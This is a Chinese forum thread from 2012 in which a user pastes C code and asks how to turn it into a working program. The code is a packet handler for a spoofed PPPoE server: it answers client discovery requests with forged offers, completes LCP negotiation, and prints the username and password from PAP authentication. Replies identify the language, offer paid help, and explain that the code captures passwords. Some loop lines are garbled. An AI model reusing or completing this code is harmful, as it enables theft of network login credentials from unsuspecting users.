找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 85|回复: 11

帮忙看看这个 什么语言的源码 。怎么把程序弄出来啊??

[复制链接]

175

主题

2429

回帖

5403

积分

论坛元老

积分
5403
发表于 2012-12-1 21:37:04 | 显示全部楼层 |阅读模式
本帖最后由 454309099 于 2012-12-1 22:10 编辑

帮个忙 。。对于loc 的大神 不难啊。
原帖: http://blog.sina.com.cn/s/blog_40b025790100feg2.html[ol]
  • void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
  • {
  • int i;
  • struct tm *ltime;
  • char timestr[16];
  • time_t local_tv_sec;
  • MAC_header *mac_header;
  • PPP_header *ppp_header;
  • PAP_header *pap_header;
  • mac_header = (MAC_header *)pkt_data;
  • //发现阶段
  • if (mac_header->Type == 0x6388){
  •   ppp_header = (PPP_header *)((int)mac_header + sizeof(MAC_header));
  •   if(ppp_header->code == 0x09){ //客户端请求发现ppp服务器 PADI
  •    send_pado_packet(mac_header->MAC_Source,(INT8U *)ppp_header);
  •    
  •    puts("开始欺骗!");
  •   }
  •   if (ppp_header->code == 0x19 && mac_header->MAC_Destination[0] == 0x00 && mac_header->MAC_Destination[1] == 0x03 && mac_header->MAC_Destination[2] == 0x0d && mac_header->MAC_Destination[3] == 0x97 && mac_header->MAC_Destination[4] == 0xfd && mac_header->MAC_Destination[5] == 0x71) //确定使用此ppp服务器  PADR
  •   {
  •    puts("欺骗成功!正在建立连接!");
  •    cnt = 0;
  •    send_pads_packet(mac_header->MAC_Source,(INT8U *)ppp_header);
  •    send_lcp_request_packet(mac_header->MAC_Source);
  •    
  •    
  •   }
  •   //exit(0);
  • }
  • //会话阶段
  • if (mac_header->Type == 0x6488) //&& mac_header->MAC_Source[0] == 0x00 && mac_header->MAC_Source[1] == 0x03 && mac_header->MAC_Source[2] == 0x0d && mac_header->MAC_Source[3] == 0x97 && mac_header->MAC_Source[4] == 0xfd && mac_header->MAC_Source[5] == 0x71)
  • {
  •   //printf(".");
  •   
  •   ppp_header = (PPP_header *)((int)mac_header + sizeof(MAC_header));
  •   if (ppp_header->protocol == 0x21c0 && mac_header->MAC_Source[5] != 0x71) //LCP //回应确认code
  •   {
  •    printf("%d\n\n",*(INT8U *)((int)ppp_header + sizeof(PPP_header)));
  •    if (*(INT8U *)((int)ppp_header + sizeof(PPP_header)) == 1){
  •     if (cnt == 1){
  •      puts("发送确认lcp包");
  •      send_lcp_ack_packet(mac_header->MAC_Source,(INT8U *)ppp_header);
  •      cnt = 0;
  •     }else{
  •      cnt++;
  •     }         
  •    }
  •    if (*(INT8U *)((int)ppp_header + sizeof(PPP_header)) == 2){
  •     puts("发送拒绝lcp包");
  •     send_lcp_refuse_packet(mac_header->MAC_Source,(INT8U *)ppp_header);
  •    }
  •   }
  •   if (ppp_header->protocol == 0x23c0) //PAP
  •   {
  •    puts("!!!!!!!!!!!!!!!! \n");
  •    pap_header = (PAP_header *)((int)ppp_header + sizeof(PPP_header));
  •    printf("帐号:");
  •    for (i = 0; i idlen; i++)
  •    {
  •     printf("%c", ((char *)pap_header)[sizeof(PAP_header) + i -1]);
  •    }
  •    
  •    printf("\n密码:");
  •    
  •    for (i = 0; i idlen + i]);
  •    }
  •    puts("");
  •    //exit(0);
  •   }
  • }
  • }[/ol]复制代码
  • 回复

    使用道具 举报

    497

    主题

    9633

    回帖

    2万

    积分

    论坛元老

    积分
    20793
    发表于 2012-12-1 21:40:55 | 显示全部楼层
    c

    回复

    使用道具 举报

    66

    主题

    539

    回帖

    1308

    积分

    金牌会员

    积分
    1308
    发表于 2012-12-1 21:41:34 | 显示全部楼层
    mac 苹果
    回复

    使用道具 举报

    175

    主题

    2429

    回帖

    5403

    积分

    论坛元老

    积分
    5403
     楼主| 发表于 2012-12-1 22:03:16 | 显示全部楼层

    lazyzhu 发表于 2012-12-1 21:40



    c

    这个 界面 需要 自己做 ???帮毛搞了

    回复

    使用道具 举报

    19

    主题

    215

    回帖

    507

    积分

    高级会员

    积分
    507
    发表于 2012-12-1 21:40:00 | 显示全部楼层
    明显是C
    回复

    使用道具 举报

    162

    主题

    2443

    回帖

    5422

    积分

    论坛元老

    积分
    5422
    发表于 2012-12-1 22:03:56 | 显示全部楼层
    5000元帮搞定
    回复

    使用道具 举报

    175

    主题

    2429

    回帖

    5403

    积分

    论坛元老

    积分
    5403
     楼主| 发表于 2012-12-1 22:05:17 | 显示全部楼层

    hepac 发表于 2012-12-1 22:05



    5000元帮搞定

    我汗 ..抢钱 .
    回复

    使用道具 举报

    175

    主题

    2429

    回帖

    5403

    积分

    论坛元老

    积分
    5403
     楼主| 发表于 2012-12-1 22:08:38 | 显示全部楼层

    远坂时臣 发表于 2012-12-1 22:03



    明显是C

    http://blog.sina.com.cn/s/blog_40b025790100feg2.html  原文章

    这个程序应该怎么弄出来啊?
    回复

    使用道具 举报

    37

    主题

    375

    回帖

    899

    积分

    高级会员

    积分
    899
    发表于 2012-12-1 22:05:00 | 显示全部楼层
    只是个函数,还要加一个监听的部分,把监听到的数据包给这个函数,会模拟连接,然后记录请求的密码,看来LZ要干坏事哦。
    回复

    使用道具 举报

    19

    主题

    215

    回帖

    507

    积分

    高级会员

    积分
    507
    发表于 2012-12-1 22:10:35 | 显示全部楼层

    meta168 发表于 2012-12-1 22:11



    只是个函数,还要加一个监听的部分,把监听到的数据包给这个函数,会模拟连接,然后记录请求的密码,看来LZ ...



       求教求教 .
    meta168 发表于 2012-12-1 22:11



    只是个函数,还要加一个监听的部分,把监听到的数据包给这个函数,会模拟连接,然后记录请求的密码,看来LZ ...

    高手!
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    Archiver|手机版|小黑屋|Discuz! X

    GMT+8, 2025-1-11 14:55 , Processed in 0.020360 second(s), 3 queries , Gzip On, Redis On.

    Powered by Discuz! X3.5

    © 2001-2024 Discuz! Team.

    快速回复 返回顶部 返回列表